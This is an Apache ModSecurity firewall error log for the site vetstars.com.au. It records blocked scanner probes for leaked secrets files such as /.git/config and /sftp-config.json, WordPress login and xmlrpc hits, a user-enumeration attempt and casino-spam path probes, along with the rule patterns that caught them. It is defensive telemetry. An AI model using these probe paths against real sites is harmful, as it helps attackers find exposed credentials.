[Thu Mar 12 15:07:44.358827 2026] [:error] [pid 8249:tid 8262] [client 43.131.23.154:49838] [client 43.131.23.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abJmQCK5dL3-8Jdf0M2mLwAAAQs"]
[Thu Mar 12 16:34:57.140485 2026] [:error] [pid 51455:tid 51482] [client 194.180.48.253:38118] [client 194.180.48.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "abJ6sZE0YyNxdg6PL_ADdQAAABY"]
[Thu Mar 12 18:26:23.879689 2026] [:error] [pid 22063:tid 22072] [client 103.65.236.149:56507] [client 103.65.236.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/sftp-config.json"] [unique_id "abKUz60RUhS-MJyHWLQcqAAAAgc"]
[Thu Mar 12 18:26:24.101307 2026] [:error] [pid 51456:tid 51492] [client 103.65.236.149:56521] [client 103.65.236.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.vscode/sftp.json"] [unique_id "abKU0BXu8LzVixNGr0tanwAAAEU"]
[Thu Mar 12 18:46:08.790054 2026] [:error] [pid 11953:tid 11955] [client 136.115.196.85:54078] [client 136.115.196.85] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.115.196.85, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "abKZcJudzqsnq3bvtDYimQAAAUA"]
[Thu Mar 12 18:46:10.311551 2026] [:error] [pid 51455:tid 51483] [client 43.159.136.201:38834] [client 43.159.136.201] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abKZcpE0YyNxdg6PL_A2IQAAABc"]
[Thu Mar 12 18:46:11.789074 2026] [:error] [pid 11953:tid 11970] [client 136.115.196.85:54078] [client 136.115.196.85] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "abKZc5udzqsnq3bvtDYinAAAAU8"]
[Thu Mar 12 18:46:14.644792 2026] [:error] [pid 11953:tid 11956] [client 136.115.196.85:54078] [client 136.115.196.85] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.115.196.85, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "abKZdpudzqsnq3bvtDYingAAAUE"]
[Thu Mar 12 21:23:25.184364 2026] [:error] [pid 8249:tid 8256] [client 43.130.131.18:36036] [client 43.130.131.18] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abK-TSK5dL3-8Jdf0M1l2AAAAQU"]
[Thu Mar 12 23:02:59.789108 2026] [:error] [pid 8249:tid 8263] [client 187.86.243.135:17949] [client 187.86.243.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.86.243.135, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "abLVoyK5dL3-8Jdf0M2XBgAAAQw"]
[Thu Mar 12 23:34:53.045097 2026] [:error] [pid 20467:tid 20475] [client 54.37.252.119:37474] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "abLdHXJ3UvosyIqy8ay6ewAAAoU"]
[Thu Mar 12 23:34:55.545759 2026] [:error] [pid 51457:tid 51536] [client 54.37.252.119:41538] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "abLdHyjknw2FvT4H3DbfSAAAAJY"]
[Thu Mar 12 23:34:58.200454 2026] [:error] [pid 11986:tid 12021] [client 54.37.252.119:60196] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "abLdIjKqY2w-DVCrxTBHVAAAAcM"]
[Thu Mar 12 23:35:00.599739 2026] [:error] [pid 11953:tid 11969] [client 54.37.252.119:60198] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "abLdJJudzqsnq3bvtDaIzQAAAU4"]
[Thu Mar 12 23:35:03.034935 2026] [:error] [pid 11953:tid 11957] [client 54.37.252.119:60202] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "abLdJ5udzqsnq3bvtDaI0gAAAUI"]
[Thu Mar 12 23:35:05.644882 2026] [:error] [pid 11953:tid 11972] [client 54.37.252.119:60214] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "abLdKZudzqsnq3bvtDaI1gAAAVE"]
[Thu Mar 12 23:35:08.208796 2026] [:error] [pid 8249:tid 8254] [client 54.37.252.119:48700] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "abLdLCK5dL3-8Jdf0M2iWAAAAQM"]
[Thu Mar 12 23:35:10.590193 2026] [:error] [pid 51457:tid 51516] [client 54.37.252.119:48714] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "abLdLijknw2FvT4H3DbfSwAAAII"]
[Thu Mar 12 23:35:13.148823 2026] [:error] [pid 20531:tid 20627] [client 54.37.252.119:48720] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "abLdMfvw-RvNQd9b3a-6_gAAA8s"]
[Thu Mar 12 23:35:15.650059 2026] [:error] [pid 11953:tid 11978] [client 54.37.252.119:48732] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "abLdM5udzqsnq3bvtDaJGAAAAVc"]
[Thu Mar 12 23:35:18.108122 2026] [:error] [pid 51457:tid 51535] [client 54.37.252.119:41438] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "abLdNijknw2FvT4H3DbfTgAAAJU"]
[Thu Mar 12 23:35:20.684033 2026] [:error] [pid 11953:tid 11977] [client 54.37.252.119:41440] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abLdOJudzqsnq3bvtDaJIwAAAVY"]
[Thu Mar 12 23:35:23.528785 2026] [:error] [pid 11986:tid 12023] [client 54.37.252.119:41442] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abLdOzKqY2w-DVCrxTBHZQAAAcU"]
[Thu Mar 12 23:35:26.268865 2026] [:error] [pid 11953:tid 11973] [client 54.37.252.119:41452] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "abLdPpudzqsnq3bvtDaJLQAAAVI"]
[Thu Mar 12 23:35:28.664679 2026] [:error] [pid 11953:tid 11975] [client 54.37.252.119:46164] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "abLdQJudzqsnq3bvtDaJMwAAAVQ"]
[Thu Mar 12 23:35:31.019120 2026] [:error] [pid 51456:tid 51492] [client 54.37.252.119:46176] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "abLdQxXu8LzVixNGr0uSSwAAAEU"]
[Thu Mar 12 23:35:33.516566 2026] [:error] [pid 51456:tid 51503] [client 54.37.252.119:46180] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "abLdRRXu8LzVixNGr0uSUQAAAFA"]
[Thu Mar 12 23:35:35.918981 2026] [:error] [pid 11986:tid 12035] [client 54.37.252.119:46186] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "abLdRzKqY2w-DVCrxTBHaQAAAdE"]
[Thu Mar 12 23:35:38.253609 2026] [:error] [pid 20531:tid 20640] [client 54.37.252.119:47018] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "abLdSvvw-RvNQd9b3a-7BAAAA9g"]
[Thu Mar 12 23:35:40.784755 2026] [:error] [pid 20531:tid 20619] [client 54.37.252.119:47022] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "abLdTPvw-RvNQd9b3a-7CAAAA8M"]
[Thu Mar 12 23:35:43.195089 2026] [:error] [pid 51457:tid 51532] [client 54.37.252.119:47038] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "abLdTyjknw2FvT4H3DbfcwAAAJI"]
[Fri Mar 13 00:45:34.523843 2026] [:error] [pid 56003:tid 56013] [client 185.117.225.53:59436] [client 185.117.225.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.117.225.53, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "abLtrhQtM0oeMdFWe6VP5AAAAMg"]
[Fri Mar 13 00:45:42.970030 2026] [:error] [pid 47894:tid 48022] [client 185.117.225.53:59480] [client 185.117.225.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.117.225.53, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "abLttpiuFpRtVNR6uOJxmQAAARQ"]
[Fri Mar 13 01:17:18.374910 2026] [:error] [pid 56003:tid 56025] [client 4.205.20.132:31361] [client 4.205.20.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/2024/"] [unique_id "abL1HhQtM0oeMdFWe6Vf0QAAANQ"]
[Fri Mar 13 01:17:19.616581 2026] [:error] [pid 56003:tid 56028] [client 4.205.20.132:31165] [client 4.205.20.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/2024/"] [unique_id "abL1HxQtM0oeMdFWe6Vf1wAAANc"]
[Fri Mar 13 01:17:20.916163 2026] [:error] [pid 56003:tid 56010] [client 4.205.20.132:31128] [client 4.205.20.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/2024/"] [unique_id "abL1IBQtM0oeMdFWe6Vf3AAAAMU"]
[Fri Mar 13 01:17:22.086951 2026] [:error] [pid 56003:tid 56028] [client 4.205.20.132:31166] [client 4.205.20.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/2024/"] [unique_id "abL1IhQtM0oeMdFWe6Vf4gAAANc"]
[Fri Mar 13 03:26:53.115840 2026] [:error] [pid 56003:tid 56024] [client 147.135.212.151:45944] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "abMTfRQtM0oeMdFWe6WdLQAAANM"]
[Fri Mar 13 03:26:55.791408 2026] [:error] [pid 56003:tid 56029] [client 147.135.212.151:37172] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "abMTfxQtM0oeMdFWe6WdNQAAANg"]
[Fri Mar 13 03:26:58.628309 2026] [:error] [pid 47892:tid 47971] [client 147.135.212.151:35710] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "abMTgjNdN5Yd7YcKfyUYZgAAAFc"]
[Fri Mar 13 03:27:01.350365 2026] [:error] [pid 47894:tid 48018] [client 147.135.212.151:35726] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abMThZiuFpRtVNR6uOKdQgAAARA"]
[Fri Mar 13 03:27:04.223100 2026] [:error] [pid 56003:tid 56028] [client 147.135.212.151:35756] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "abMTiBQtM0oeMdFWe6WdOwAAANc"]
[Fri Mar 13 03:27:06.800549 2026] [:error] [pid 47894:tid 48019] [client 147.135.212.151:35766] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "abMTipiuFpRtVNR6uOKdSQAAARE"]
[Fri Mar 13 03:27:10.073535 2026] [:error] [pid 48029:tid 48033] [client 147.135.212.151:57600] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "abMTjm7cFKMmtdGhPH_rpwAAAAI"]
[Fri Mar 13 03:27:12.463420 2026] [:error] [pid 56003:tid 56015] [client 147.135.212.151:57622] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abMTkBQtM0oeMdFWe6WdRAAAAMo"]
[Fri Mar 13 03:27:15.422321 2026] [:error] [pid 47893:tid 47984] [client 147.135.212.151:57638] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abMTkwYSdu6aqxO_Yuc7DwAAAIk"]
[Fri Mar 13 03:27:18.029361 2026] [:error] [pid 56003:tid 56014] [client 147.135.212.151:44162] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "abMTlhQtM0oeMdFWe6WdVgAAAMk"]
[Fri Mar 13 03:27:21.063004 2026] [:error] [pid 48029:tid 48031] [client 147.135.212.151:44188] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "abMTmW7cFKMmtdGhPH_rugAAAAA"]
[Fri Mar 13 03:27:24.193464 2026] [:error] [pid 47892:tid 47970] [client 147.135.212.151:44212] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "abMTnDNdN5Yd7YcKfyUYewAAAFY"]
[Fri Mar 13 03:27:26.992248 2026] [:error] [pid 56003:tid 56009] [client 147.135.212.151:44242] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "abMTnhQtM0oeMdFWe6WdYgAAAMQ"]
[Fri Mar 13 03:27:29.481079 2026] [:error] [pid 47892:tid 47951] [client 147.135.212.151:60120] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "abMToTNdN5Yd7YcKfyUYfQAAAEM"]
[Fri Mar 13 03:27:32.155989 2026] [:error] [pid 47894:tid 48019] [client 147.135.212.151:60128] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "abMTpJiuFpRtVNR6uOKdWwAAARE"]
[Fri Mar 13 03:27:34.917142 2026] [:error] [pid 48029:tid 48055] [client 147.135.212.151:60146] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "abMTpm7cFKMmtdGhPH_rzAAAABg"]
[Fri Mar 13 03:27:38.162815 2026] [:error] [pid 47893:tid 47991] [client 147.135.212.151:40308] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "abMTqgYSdu6aqxO_Yuc7KwAAAJA"]
